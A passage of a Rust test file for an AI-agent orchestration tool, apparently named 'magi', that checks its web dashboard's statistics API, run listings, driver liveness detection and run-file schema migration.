19426 .find("function statsBarRows(")
19427 .expect("statsBarRows exists");
19428 let body = &APP_JS[start..];
19429 let body = &body[..body.find("\n}\n").expect("function end")];
19430 assert!(body.contains("statsBarPlan(rows)"));
19431 assert!(body.contains("statsAgentTone(row.agent)"));
19432 assert!(!body.contains("candTone(i)"));
19433 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19434 for root in [
19435 "stats-agents-bars",
19436 "stats-solo-bars",
19437 "stats-reviewers-bars",
19438 ] {
19439 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19440 }
19441 }
19442
19443 #[test]
19444 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19445 let start = APP_JS
19446 .find("function renderStatsReviewerScatter(")
19447 .expect("renderStatsReviewerScatter exists");
19448 let body = &APP_JS[start..];
19449 let body = &body[..body.find("\n}\n").expect("function end")];
19450 assert!(body.contains("statsScatterPlan(reviewers)"));
19451 assert!(body.contains("statsAgentTone(d.agent)"));
19452 assert!(APP_JS.contains("function statsScatterPlan("));
19453 assert!(
19454 APP_JS.contains("d.submitted < STATS_LOW_N")
19455 || APP_JS.contains("r.submitted < STATS_LOW_N")
19456 );
19457 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19458 assert!(APP_CSS.contains(".precision-scatter"));
19459 }
19460
19461 #[test]
19462 fn advisor_reflection_is_drawn_as_stacked_segments() {
19463 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19464 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19465 let html = include_str!("../assets/ui/index.html");
19466 assert!(html.contains("Approximate"));
19467 for label in ["reflected strongly", "faint", "no proposal"] {
19468 assert!(html.contains(label));
19469 }
19470 let css = include_str!("../assets/ui/app.css");
19471 for c in ["refl-strong", "refl-faint", "refl-absent"] {
19472 assert!(css.contains(&format!(".{c} {{")));
19473 }
19474 }
19475
19476 #[test]
19477 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19478 assert!(APP_JS.contains("function statsDailyPlan("));
19479 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19480 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19481 }
19482
19483 #[test]
19484 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19485 let start = APP_JS
19486 .find("function scheduleSearch(")
19487 .expect("scheduleSearch exists");
19488 let body = &APP_JS[start..];
19489 let body = &body[..body.find("\n}\n").expect("function end")];
19490 assert!(body.contains("s.seq += 1"));
19491 }
19492
19493 #[tokio::test]
19498 async fn stats_runs_unreadable_matches_health() {
19499 let f = Fixture::start().await;
19500 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19501 let broken = f.runs().join("20260902-140502-bad");
19502 std::fs::create_dir_all(&broken).expect("run dir");
19503 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19504
19505 let stats = f.get("/api/stats").await;
19506 let health = f.get("/api/health").await;
19507
19508 assert_eq!(stats.status, 200);
19509 assert_eq!(stats.json()["totals"]["runs"], 1);
19510 assert_eq!(stats.json()["runs_unreadable"], 1);
19511 assert_eq!(
19512 stats.json()["runs_unreadable"],
19513 health.json()["runs_unreadable"],
19514 "the dashboard and /api/health must never disagree about how many \
19515 runs could not be read"
19516 );
19517 }
19518
19519 #[tokio::test]
19520 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19521 let f = Fixture::start().await;
19522 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19523 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19524 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19525
19526 let totals = &f.get("/api/stats").await.json()["totals"];
19527 assert_eq!(totals["runs"], 3);
19528 assert_eq!(totals["merged"], 1);
19529 assert_eq!(totals["stalled"], 1);
19530 assert_eq!(totals["in_progress"], 1);
19531 assert_eq!(totals["blocked"], 0);
19534 assert_eq!(totals["ready"], 0);
19535 }
19536
19537 #[tokio::test]
19538 async fn stats_advisors_report_proposals_and_reflection() {
19539 use crate::advise::{Advice, AdvisorRecord, Reflection};
19540 use crate::verdict::Proposal;
19541
19542 let f = Fixture::start().await;
19543 let mut state = RunState::new(
19544 PathBuf::from("/repo/magi"),
19545 "main".to_owned(),
19546 "0123456789abcdef".to_owned(),
19547 "task".to_owned(),
19548 Config::default(),
19549 );
19550 state.id = "20260902-140501-a".to_owned();
19551 state.status = RunStatus::Merged;
19552 state.advice = Some(Advice {
19553 records: vec![
19554 AdvisorRecord {
19555 seat: "advisor-1".to_owned(),
19556 agent: "alpha".to_owned(),
19557 proposal: Some(Proposal {
19558 approach: "do it".to_owned(),
19559 key_tradeoff: "speed over memory".to_owned(),
19560 risks: Vec::new(),
19561 touches: Vec::new(),
19562 why_not_naive: "breaks under load".to_owned(),
19563 }),
19564 error: None,
19565 duration_ms: 0,
19566 reflection: Reflection::Strong,
19567 },
19568 AdvisorRecord {
19569 seat: "advisor-2".to_owned(),
19570 agent: "alpha".to_owned(),
19571 proposal: None,
19572 error: Some("timed out".to_owned()),
19573 duration_ms: 0,
19574 reflection: Reflection::Absent,
19575 },
19576 ],
19577 synthesis: Some("blended brief".to_owned()),
19578 });
19579 let dir = f.runs().join(&state.id);
19580 std::fs::create_dir_all(&dir).expect("run dir");
19581 std::fs::write(
19582 dir.join("run.json"),
19583 serde_json::to_string_pretty(&state).expect("serialize run"),
19584 )
19585 .expect("write run.json");
19586
19587 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19589 let alpha = advisors
19590 .as_array()
19591 .expect("an array")
19592 .iter()
19593 .find(|a| a["agent"] == "alpha")
19594 .expect("alpha row");
19595 assert_eq!(alpha["seated"], 2);
19596 assert_eq!(alpha["proposed"], 1);
19597 assert_eq!(alpha["absent"], 1);
19598 assert_eq!(alpha["strong"], 1);
19599 assert_eq!(alpha["faint"], 0);
19600 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19601 }
19602
19603 #[tokio::test]
19604 async fn stats_hides_agents_outside_the_roster_unless_all() {
19605 use crate::run::Candidate;
19606 let repo = TempDir::new().expect("repo dir");
19607 std::fs::write(
19608 repo.path().join("magi.toml"),
19609 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19610 )
19611 .expect("magi.toml");
19612 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19613 let mut state = RunState::new(
19614 PathBuf::from("/repo/magi"),
19615 "main".to_owned(),
19616 "0123456789abcdef".to_owned(),
19617 "task".to_owned(),
19618 Config::default(),
19619 );
19620 state.id = "20260902-140501-a".to_owned();
19621 state.status = RunStatus::Merged;
19622 for (label, agent) in [('A', "keep"), ('B', "retired")] {
19623 let mut c: Candidate = serde_json::from_value(serde_json::json!({
19624 "index": 0, "label": label.to_string(), "agent": agent,
19625 "branch": "b", "worktree": "/w",
19626 }))
19627 .expect("candidate");
19628 c.label = label;
19629 state.candidates.push(c);
19630 }
19631 let dir = f.runs().join(&state.id);
19632 std::fs::create_dir_all(&dir).expect("run dir");
19633 std::fs::write(
19634 dir.join("run.json"),
19635 serde_json::to_string_pretty(&state).expect("serialize run"),
19636 )
19637 .expect("write run.json");
19638
19639 let agents_of = |v: &serde_json::Value| -> Vec<String> {
19640 v["agents"]
19641 .as_array()
19642 .expect("array")
19643 .iter()
19644 .map(|a| a["agent"].as_str().unwrap().to_owned())
19645 .collect()
19646 };
19647 let hidden = f.get("/api/stats").await.json();
19648 assert_eq!(agents_of(&hidden), ["keep"]);
19649 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19650 assert_eq!(hidden["totals"]["runs"], 1);
19651
19652 let all = f.get("/api/stats?all=true").await.json();
19653 assert_eq!(agents_of(&all).len(), 2);
19654 assert_eq!(all["retired_hidden"], serde_json::json!([]));
19655 let keep_agent = all["agents"]
19657 .as_array()
19658 .unwrap()
19659 .iter()
19660 .find(|a| a["agent"] == "keep")
19661 .unwrap();
19662 assert_eq!(keep_agent["competitive_entered"], 1);
19663 assert_eq!(keep_agent["competitive_wins"], 0);
19664 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19665 assert_eq!(keep_agent["solo_entered"], 0);
19666 assert_eq!(keep_agent["solo_adopted"], 0);
19667 assert!(keep_agent["solo_adoption_rate"].is_null());
19668 }
19669
19670 #[tokio::test]
19671 async fn stats_release_bumps_split_clean_from_attention() {
19672 use crate::run::ReleaseBump;
19673
19674 let f = Fixture::start().await;
19675
19676 let mut clean = RunState::new(
19677 PathBuf::from("/repo/magi"),
19678 "main".to_owned(),
19679 "0123456789abcdef".to_owned(),
19680 "task".to_owned(),
19681 Config::default(),
19682 );
19683 clean.id = "20260902-140501-a".to_owned();
19684 clean.status = RunStatus::Merged;
19685 clean.release_bump = Some(ReleaseBump {
19686 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19687 version: Some("1.0.0".to_owned()),
19688 automerge_enabled: true,
19689 merged_directly: false,
19690 local: false,
19691 release: None,
19692 problem: None,
19693 action_required: None,
19694 skipped: None,
19695 });
19696
19697 let mut blocked = RunState::new(
19698 PathBuf::from("/repo/magi"),
19699 "main".to_owned(),
19700 "0123456789abcdef".to_owned(),
19701 "task".to_owned(),
19702 Config::default(),
19703 );
19704 blocked.id = "20260902-140502-b".to_owned();
19705 blocked.status = RunStatus::Merged;
19706 blocked.release_bump = Some(ReleaseBump {
19707 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19708 version: Some("1.0.1".to_owned()),
19709 automerge_enabled: false,
19710 merged_directly: false,
19711 local: false,
19712 release: None,
19713 problem: Some("checks red".to_owned()),
19714 action_required: Some("look at the PR".to_owned()),
19715 skipped: None,
19716 });
19717
19718 for state in [&clean, &blocked] {
19719 let dir = f.runs().join(&state.id);
19720 std::fs::create_dir_all(&dir).expect("run dir");
19721 std::fs::write(
19722 dir.join("run.json"),
19723 serde_json::to_string_pretty(state).expect("serialize run"),
19724 )
19725 .expect("write run.json");
19726 }
19727
19728 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19729 assert_eq!(bumps["merged"], 2);
19730 assert_eq!(bumps["recorded"], 2);
19731 assert_eq!(bumps["pr_opened"], 2);
19732 assert_eq!(bumps["automerge_enabled"], 1);
19733 assert_eq!(bumps["needs_attention"], 1);
19734 assert_eq!(bumps["clean"], 1);
19735 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19736 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19737 }
19738
19739 #[tokio::test]
19740 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19741 let f = Fixture::start().await;
19742 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19743
19744 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19745 assert_eq!(bumps["merged"], 1);
19746 assert_eq!(bumps["recorded"], 0);
19747 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19750 assert_eq!(bumps["automerge_rate"], Value::Null);
19753 assert_eq!(bumps["attention_rate"], Value::Null);
19754 }
19755
19756 #[tokio::test]
19757 async fn stats_queue_counts_come_from_the_live_queue() {
19758 let f = Fixture::start().await;
19759 let q = f.queue();
19760 let mut queued = Task::new(
19761 "queued task".to_owned(),
19762 "do it".to_owned(),
19763 PathBuf::from("/repo"),
19764 Source::Human,
19765 );
19766 q.put(&mut queued).expect("put queued");
19767 let mut held = Task::new(
19768 "held task".to_owned(),
19769 "do it later".to_owned(),
19770 PathBuf::from("/repo"),
19771 Source::Human,
19772 );
19773 held.hold_machine(Some("out of attempts".to_owned()));
19774 q.put(&mut held).expect("put held");
19775
19776 let queue = f.get("/api/stats").await.json()["queue"].clone();
19777 assert_eq!(queue["queued"], 1);
19778 assert_eq!(queue["held"], 1);
19779 assert_eq!(queue["running"], 0);
19780 assert_eq!(queue["done"], 0);
19781 assert_eq!(queue["failed"], 0);
19782 assert_eq!(queue["blocked"], 0);
19783 }
19784
19785 #[tokio::test]
19786 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19787 let f = Fixture::start().await;
19788 let stats = f.get("/api/stats").await;
19789 assert_eq!(stats.status, 200);
19790 assert_eq!(stats.json()["totals"]["runs"], 0);
19791 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19792 assert_eq!(stats.json()["runs_unreadable"], 0);
19793 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19794 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19795 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19796 assert_eq!(stats.json()["repo"], Value::Null);
19797 }
19798
19799 #[tokio::test]
19800 async fn stats_lists_every_repository_with_runs_recorded() {
19801 let f = Fixture::start().await;
19802 write_run_repo(
19803 &f.runs(),
19804 "20260902-140501-a",
19805 RunStatus::Merged,
19806 "/repos/a",
19807 );
19808 write_run_repo(
19809 &f.runs(),
19810 "20260902-140502-b",
19811 RunStatus::Merged,
19812 "/repos/a",
19813 );
19814 write_run_repo(
19815 &f.runs(),
19816 "20260902-140503-c",
19817 RunStatus::Blocked,
19818 "/repos/b",
19819 );
19820
19821 let stats = f.get("/api/stats").await;
19822 assert_eq!(stats.status, 200);
19823 assert_eq!(stats.json()["totals"]["runs"], 3);
19825 assert_eq!(stats.json()["repo"], Value::Null);
19826
19827 let repos = stats.json()["repos"].clone();
19828 let repos = repos.as_array().unwrap();
19829 assert_eq!(repos.len(), 2);
19830 assert_eq!(repos[0]["repo"], "/repos/a");
19832 assert_eq!(repos[0]["name"], "a");
19833 assert_eq!(repos[0]["runs"], 2);
19834 assert_eq!(repos[1]["repo"], "/repos/b");
19835 assert_eq!(repos[1]["runs"], 1);
19836 }
19837
19838 #[tokio::test]
19839 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19840 let f = Fixture::start().await;
19841 write_run_repo(
19842 &f.runs(),
19843 "20260902-140501-a",
19844 RunStatus::Merged,
19845 "/repos/a",
19846 );
19847 write_run_repo(
19848 &f.runs(),
19849 "20260902-140502-b",
19850 RunStatus::Blocked,
19851 "/repos/b",
19852 );
19853
19854 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19855 assert_eq!(stats.status, 200);
19856 assert_eq!(stats.json()["totals"]["runs"], 1);
19857 assert_eq!(stats.json()["totals"]["merged"], 1);
19858 assert_eq!(stats.json()["repo"], "/repos/a");
19859 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19862 assert_eq!(stats.json()["runs_unreadable"], 0);
19865 }
19866
19867 #[tokio::test]
19868 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19869 let f = Fixture::start().await;
19870 write_run_repo(
19871 &f.runs(),
19872 "20260902-140501-a",
19873 RunStatus::Merged,
19874 "/repos/a",
19875 );
19876 write_run_repo(
19877 &f.runs(),
19878 "20260902-140502-b",
19879 RunStatus::Merged,
19880 "/repos/b",
19881 );
19882
19883 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19884 let json = f.get(uri).await.json();
19885 let daily = json["daily"].as_array().expect("daily is an array");
19886 assert_eq!(daily.len(), 30);
19887 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19888 let mut sorted = dates.clone();
19889 sorted.sort();
19890 assert_eq!(dates, sorted);
19891 for d in daily {
19892 assert_eq!(
19893 d["merged"].as_u64().unwrap()
19894 + d["ready"].as_u64().unwrap()
19895 + d["other"].as_u64().unwrap(),
19896 d["runs"].as_u64().unwrap()
19897 );
19898 }
19899 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19900 }
19901 }
19902
19903 #[tokio::test]
19904 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19905 let f = Fixture::start().await;
19906 write_run_repo(
19907 &f.runs(),
19908 "20260902-140501-a",
19909 RunStatus::Merged,
19910 "/repos/a",
19911 );
19912
19913 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19914 assert_eq!(stats.status, 404);
19915 }
19916
19917 #[tokio::test]
19918 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19919 let f = Fixture::start().await;
19920 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19921
19922 let summary = f.get("/api/runs").await.json();
19923 let row = &summary[0];
19924 assert_eq!(row["short"], "a1b2");
19925 assert_eq!(row["status"], "ready");
19926 assert_eq!(row["done"], true);
19927 assert_eq!(row["title"], "Add a web UI");
19928 assert_eq!(row["repo_name"], "magi");
19929 assert_eq!(row["judges"], 3);
19930 assert_eq!(row["winner"], Value::Null);
19931 assert_eq!(row["reviews"], 0);
19932
19933 let detail = f.get("/api/runs/a1b2").await;
19936 assert_eq!(detail.status, 200);
19937 assert_eq!(detail.json()["base_branch"], "main");
19938 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19939 }
19940
19941 #[tokio::test]
19949 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19950 let f = Fixture::start().await;
19951
19952 let mut none_run = RunState::new(
19953 PathBuf::from("/repo/magi"),
19954 "main".to_owned(),
19955 "0123456789abcdef".to_owned(),
19956 "Add a web UI".to_owned(),
19957 Config::default(),
19958 );
19959 none_run.id = "20260902-140503-none".to_owned();
19960 none_run.status = RunStatus::Ready;
19961 none_run.merge = Some(crate::run::MergeOutcome {
19962 mode: crate::config::MergeMode::None,
19963 ok: true,
19964 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19965 empty: false,
19966 });
19967 write_state(&f.runs(), &none_run);
19968
19969 let mut pr_run = RunState::new(
19970 PathBuf::from("/repo/magi"),
19971 "main".to_owned(),
19972 "0123456789abcdef".to_owned(),
19973 "Add a web UI".to_owned(),
19974 Config::default(),
19975 );
19976 pr_run.id = "20260902-140504-prcl".to_owned();
19977 pr_run.status = RunStatus::Ready;
19978 pr_run.merge = Some(crate::run::MergeOutcome {
19979 mode: crate::config::MergeMode::Pr,
19980 ok: false,
19981 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19982 empty: false,
19983 });
19984 write_state(&f.runs(), &pr_run);
19985
19986 let summary = f.get("/api/runs").await.json();
19987 let rows: std::collections::HashMap<&str, &Value> = summary
19988 .as_array()
19989 .expect("an array")
19990 .iter()
19991 .map(|r| (r["id"].as_str().expect("an id"), r))
19992 .collect();
19993 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19994 assert_eq!(
19995 rows[none_run.id.as_str()]["unmerged_by_design"],
19996 true,
19997 "a mode-none Ready must be flagged in the list"
19998 );
19999 assert_eq!(
20000 rows[pr_run.id.as_str()]["unmerged_by_design"],
20001 false,
20002 "a Ready reached by a closed pull request is a different case"
20003 );
20004
20005 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20006 assert_eq!(none_detail["status"], "ready");
20007 assert_eq!(none_detail["unmerged_by_design"], true);
20008
20009 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20010 assert_eq!(pr_detail["unmerged_by_design"], false);
20011 }
20012
20013 #[tokio::test]
20018 async fn run_core_survives_unavailable_related_stores() {
20019 let home = TempDir::new().unwrap();
20020 let ui = delta_test_ui(home.path());
20021 let state = RunState::new(
20022 PathBuf::from("/repo/magi"),
20023 "main".into(),
20024 "0123456789abcdef".into(),
20025 "Useful core instructions".into(),
20026 Config::default(),
20027 );
20028 let dir = ui.runs.join(&state.id);
20029 std::fs::create_dir_all(&dir).unwrap();
20030 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20031 std::fs::write(ui.questions.root(), "unavailable").unwrap();
20032 std::fs::write(ui.queue.root(), "unavailable").unwrap();
20033 let core = run_core(State(ui.clone()), Path(state.id.clone()))
20034 .await
20035 .unwrap()
20036 .0;
20037 assert_eq!(core.state.instruction, state.instruction);
20038 assert_eq!(core.state.updated_at, state.updated_at);
20039 assert!(core.task.is_none());
20040 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20041 }
20042
20043 #[tokio::test]
20044 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20045 let f = Fixture::start().await;
20046 let id = "20260902-140502-bbbb";
20050 let mut state = RunState::new(
20051 PathBuf::from("/repo/magi"),
20052 "main".to_owned(),
20053 "0123456789abcdef".to_owned(),
20054 "Add a web UI".to_owned(),
20055 Config::default(),
20056 );
20057 state.id = id.to_owned();
20058 state.status = RunStatus::Judging;
20059 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20060 let dir = f.runs().join(id);
20061 std::fs::create_dir_all(&dir).expect("run dir");
20062 std::fs::write(
20063 dir.join("run.json"),
20064 serde_json::to_string_pretty(&state).expect("serialize run"),
20065 )
20066 .expect("write run.json");
20067
20068 let cold = f.get(&format!("/api/runs/{id}")).await.json();
20074 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20075 assert_eq!(cold["live"], "unknown", "{cold}");
20076
20077 write_daemon(f.home.path(), Timestamp::now());
20080 let warm = f.get(&format!("/api/runs/{id}")).await.json();
20081 assert_eq!(warm["live"], "live", "{warm}");
20082 }
20083
20084 #[test]
20085 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20086 let home = tempfile::tempdir().expect("temp home");
20087 let runs = home.path().join("runs");
20088 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20089 let mut state = RunState::new(
20090 PathBuf::from("/repo/magi"),
20091 "main".to_owned(),
20092 "0123456789abcdef".to_owned(),
20093 "Generated review context, not authored task criteria".to_owned(),
20094 Config::default(),
20095 );
20096 state.origin = origin;
20097 state.status = RunStatus::Blocked;
20098 state.driver_exited = false;
20100 state.gate_ran = true;
20101 let expected = serde_json::to_value(&state).expect("serialize current state");
20102 let mut legacy = expected.clone();
20103 legacy["schema"] = serde_json::json!(13);
20104 legacy.as_object_mut().unwrap().remove("task_instruction");
20105 let dir = runs.join(&state.id);
20106 std::fs::create_dir_all(&dir).expect("run dir");
20107 let path = dir.join("run.json");
20108 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20109 std::fs::write(&path, &body).expect("write legacy run");
20110
20111 for loaded in [
20112 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20113 read_run(&runs, &state.id).expect("web migration"),
20114 ] {
20115 assert_eq!(loaded.schema, crate::run::SCHEMA);
20116 assert!(loaded.task_instruction.is_none());
20117 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20118 }
20119 assert_eq!(runs_unreadable(&runs), 0);
20120 assert_eq!(std::fs::read(&path).unwrap(), body);
20121 }
20122 }
20123
20124 #[tokio::test]
20127 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20128 let f = Fixture::start().await;
20129 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20130 let mut state = RunState::new(
20131 PathBuf::from("/repo/magi"),
20132 "main".to_owned(),
20133 "0123456789abcdef".to_owned(),
20134 "Add a web UI".to_owned(),
20135 Config::default(),
20136 );
20137 state.id = id.to_owned();
20138 state.origin = origin;
20139 let mut value = serde_json::to_value(&state).expect("serialize run");
20140 if let Some(schema) = schema {
20141 value["schema"] = serde_json::json!(schema);
20142 value.as_object_mut().unwrap().remove("origin");
20143 }
20144 let dir = f.runs().join(id);
20145 std::fs::create_dir_all(&dir).expect("run dir");
20146 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20147 };
20148 write(
20149 "20260930-092817-ec34",
20150 Some(crate::run::Origin::from_agent_env(
20151 Some(("4a7b".to_owned(), "chat".to_owned())),
20152 None,
20153 )),
20154 None,
20155 );
20156 write("20260930-092817-0ld1", None, Some(12));
20157
20158 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20159 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20160 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20161
20162 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20163 assert_eq!(
20164 old["origin_label"], "origin unknown (started before origins were recorded)",
20165 "{old}"
20166 );
20167 assert!(old["origin"].is_null(), "{old}");
20168
20169 let list = f.get("/api/runs").await.json();
20170 let labels: Vec<_> = list
20171 .as_array()
20172 .unwrap()
20173 .iter()
20174 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20175 .collect();
20176 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20177 }
20178
20179 #[tokio::test]
20180 async fn run_progress_observation_exposes_activity_without_control_evidence() {
20181 let f = Fixture::start().await;
20182 let mut state = RunState::new(
20183 PathBuf::from("/repo"),
20184 "main".into(),
20185 "abc".into(),
20186 "task".into(),
20187 Config::default(),
20188 );
20189 state.status = RunStatus::Implementing;
20190 state.seat_started(
20191 "implement",
20192 "implement-A",
20193 std::time::Duration::from_secs(60),
20194 0,
20195 );
20196 state.save_under(f.home.path()).unwrap();
20197 let observed = f
20198 .get(&format!("/api/runs/{}/progress", state.id))
20199 .await
20200 .json();
20201 assert_eq!(observed["id"], state.id);
20202 assert!(observed["observed_at"].is_string());
20203 assert_eq!(observed["updated_at"], state.updated_at.to_string());
20204 assert!(observed["progress"]["activity"].is_string());
20205 for field in [
20206 "config",
20207 "candidates",
20208 "land_approval",
20209 "task",
20210 "waiting",
20211 "done",
20212 ] {
20213 assert!(
20214 observed.get(field).is_none(),
20215 "progress must not expose control evidence: {field}"
20216 );
20217 }
20218 }
20219
20220 #[tokio::test]
20227 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20228 let f = Fixture::start().await;
20229 let id = "20260922-090000-cccc";
20230 let mut state = RunState::new(
20231 PathBuf::from("/repo/magi"),
20232 "main".to_owned(),
20233 "0123456789abcdef".to_owned(),
20234 "Review only".to_owned(),
20235 Config::default(),
20236 );
20237 state.id = id.to_owned();
20238 state.status = RunStatus::Reviewing;
20239 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20240 state.driver_pid = Some(std::process::id());
20246 state.driver_started_at = Some(
20247 crate::proc::process_started_at(std::process::id())
20248 .expect("this test process's own start time must be queryable"),
20249 );
20250 let dir = f.runs().join(id);
20251 std::fs::create_dir_all(&dir).expect("run dir");
20252 std::fs::write(
20253 dir.join("run.json"),
20254 serde_json::to_string_pretty(&state).expect("serialize run"),
20255 )
20256 .expect("write run.json");
20257
20258 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20259 assert_eq!(detail["live"], "live", "{detail}");
20260 }
20261
20262 #[tokio::test]
20268 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20269 let f = Fixture::start().await;
20270 let id = "20260922-090100-dddd";
20271 let mut state = RunState::new(
20272 PathBuf::from("/repo/magi"),
20273 "main".to_owned(),
20274 "0123456789abcdef".to_owned(),
20275 "Review only".to_owned(),
20276 Config::default(),
20277 );
20278 state.id = id.to_owned();
20279 state.status = RunStatus::Reviewing;
20280 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20281 state.driver_pid = Some(std::process::id());
20286 state.driver_started_at = Some("1".to_owned());
20287 let dir = f.runs().join(id);
20288 std::fs::create_dir_all(&dir).expect("run dir");
20289 std::fs::write(
20290 dir.join("run.json"),
20291 serde_json::to_string_pretty(&state).expect("serialize run"),
20292 )
20293 .expect("write run.json");
20294
20295 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20296 assert_eq!(detail["live"], "dead", "{detail}");
20297 }
20298
20299 #[test]
20303 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20304 let mk = |id: &str, pid: Option<u32>| {
20305 let mut s = RunState::new(
20306 PathBuf::from("/repo/magi"),
20307 "main".to_owned(),
20308 "0123456789abcdef".to_owned(),
20309 "Add a web UI".to_owned(),
20310 Config::default(),
20311 );
20312 s.id = id.to_owned();
20313 s.driver_pid = pid;
20314 s.driver_started_at = Some("1790000000".to_owned());
20315 s
20316 };
20317 let states = vec![
20318 mk("20260902-140502-aaaa", Some(77)),
20319 mk("20260902-140502-bbbb", Some(77)),
20320 mk("20260902-140502-cccc", Some(77)),
20321 mk("20260902-140502-dddd", None),
20322 ];
20323 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20324 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20325 let sup: HashMap<String, String> = [(
20326 "20260902-140502-aaaa".to_owned(),
20327 "20260902-140502-cccc".to_owned(),
20328 )]
20329 .into();
20330
20331 let status_calls = std::cell::Cell::new(0);
20332 let identity_calls = std::cell::Cell::new(0);
20333 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20334 |_| {
20335 status_calls.set(status_calls.get() + 1);
20336 Some(true)
20337 },
20338 |_| {
20339 identity_calls.set(identity_calls.get() + 1);
20340 Some("1790000000".to_owned())
20341 },
20342 ));
20343 let rows = summarize(
20344 states,
20345 &open,
20346 &claimed,
20347 &sup,
20348 |p| probe.borrow_mut().status(p),
20349 |p| probe.borrow_mut().started_at(p),
20350 );
20351
20352 assert_eq!(status_calls.get(), 1, "one pid, one status query");
20353 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20354 assert_eq!(rows.len(), 4);
20355 assert!(!rows[0].waiting && rows[1].waiting);
20356 assert_eq!(rows[0].live, crate::run::Liveness::Live);
20357 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20358 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20359 assert_eq!(rows[1].superseded_by, None);
20360 }
20361
20362 #[test]
20363 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20364 let mut state = RunState::new(
20365 PathBuf::from("/repo/magi"),
20366 "main".to_owned(),
20367 "0123456789abcdef".to_owned(),
20368 "Review only".to_owned(),
20369 Config::default(),
20370 );
